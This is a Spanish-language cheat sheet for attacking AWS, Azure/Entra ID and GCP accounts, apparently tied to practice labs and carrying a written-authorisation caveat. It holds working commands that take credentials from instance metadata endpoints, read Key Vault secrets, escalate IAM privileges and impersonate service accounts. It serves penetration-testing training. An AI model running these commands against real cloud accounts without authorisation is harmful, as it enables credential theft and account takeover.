Cloud: AWS, Azure/Entra ID y GCP
El patrón en la nube: consigues unas credenciales (una clave en un repo, un token de metadatos), ves qué puedes hacer con ellas y buscas un permiso que te deje subir. Úsalo solo en cuentas tuyas o con autorización escrita.
AWS
Practícalo en: Facts
¿Quién soy?
aws sts get-caller-identity
aws configure --profile loot
TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
IMDSv2 pide primero un token con PUT; IMDSv1 respondía al GET directo.
Enumerar permisos
aws iam list-attached-user-policies --user-name USUARIO
aws iam list-user-policies --user-name USUARIO
python3 enumerate-iam.py --access-key AKIA... --secret-key ...
aws s3 ls
aws s3 ls s3://nombre-bucket --no-sign-request
Escalada de IAM con Pacu
Pacu tiene un módulo que prueba las vías de escalada conocidas (p. ej. crear una versión de política, pasar un rol a una función Lambda).
pacu
# dentro: import_keys loot; run iam__enum_permissions; run iam__privesc_scan
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-default
Azure / Entra ID
Entra ID (el antiguo Azure AD) es el directorio; Azure es la infraestructura. Dos planos distintos: un usuario puede ser nadie en Entra y dueño de una suscripción, o al revés.
Practícalo en: Monteverde
Iniciar sesión y mirar
az login -u USUARIO -p 'CLAVE'
az account list -o table
roadrecon auth -u USUARIO -p 'CLAVE'
roadrecon gather
roadrecon gui
azurehound -u USUARIO -p 'CLAVE' list --tenant TENANT-ID -o output.json
Escalada y abuso
Lo habitual es encontrar un rol que te deja resetear la contraseña de otro, añadirte a un grupo privilegiado o leer secretos de un Key Vault.
az keyvault secret list --vault-name NOMBRE
az keyvault secret show --vault-name NOMBRE --name SECRETO
az ad group member add --group 'Grupo' --member-id TU-OBJECT-ID
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
GCP
¿Quién soy y qué tengo?
gcloud auth list
gcloud projects list
gcloud auth activate-service-account --key-file=clave.json
curl -s -H 'Metadata-Flavor: Google' "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
Enumerar y escalar
El clásico de GCP: un permiso como iam.serviceAccounts.getAccessToken o actAs te deja suplantar una cuenta de servicio con más privilegios.
gcloud projects get-iam-policy PROYECTO --format=json
gcloud compute instances list --impersonate-service-account=SA@PROYECTO.iam.gserviceaccount.com
scout gcp --user-account --report-dir ./scout
Ningún comando coincide.